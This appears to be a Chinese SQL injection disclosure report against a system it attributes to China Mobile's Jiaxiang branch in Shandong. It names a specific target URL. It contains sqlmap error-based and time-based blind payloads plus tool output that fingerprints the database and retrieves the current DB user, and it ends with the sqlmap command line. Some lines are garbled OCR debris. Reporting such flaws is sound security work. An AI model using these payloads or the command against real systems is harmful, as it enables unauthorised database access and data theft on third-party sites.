中国移动通信集团山东有限公司嘉祥分公司系统存在SQL注入漏洞
归属：
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漏洞URL：http://zhihuifangxun.yuanzhihang.com/Home/Index/index_detail\?id\=1
[bookmark: _GoBack][image: ]
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a1234@sudo scutil --set ComputerName:~

Payload: id=1 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(@x71717a7171, (SELECT (ELT(1865=186
5,1))),0x716b787a71,0x78))s), 8446744073709551610, 8446744073709551610)))

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 9675 FROM (SELECT(SLEEP(5)))nyhl)

[11:14:03] [INFO] the back-end DBMS is MySQL

web application technology: Nginx, PHP

back-end DBMS: MySQL >= 5.5

[11:14:04] [INFO] testing if current user is DBA

[11:14:04] [INFO] fetching current user

[11:14:04] [INFO] retrieved: 'zhihuifangxun@%'

[11:14:04] [WARNING] potential permission problems detected ('command denied')

[11:14:04] [WARNING] in case of continuous data retrieval problems you are advised to try a switch

--no-cast' or switch '--hex'

current user is DBA: False

[11:14:04] [WARNING] HTTP error codes detected during run:

404 (Not Found) - 250 times

[11:14:04] [INFO] fetched data logged to text files under '/Users/al234/.local/share/sqlmap/output/z

hihuifangxun.yuanzhihang.com'

[*] ending @ 11:14:04 /2023-03-20/

(¢« took 1m 31s B at 11:14:04 L4 o

> sqlmap -u http://zhihuifangxun.yuanzhihang.com/Home/Index/index_detail\?id\=1 --is-db





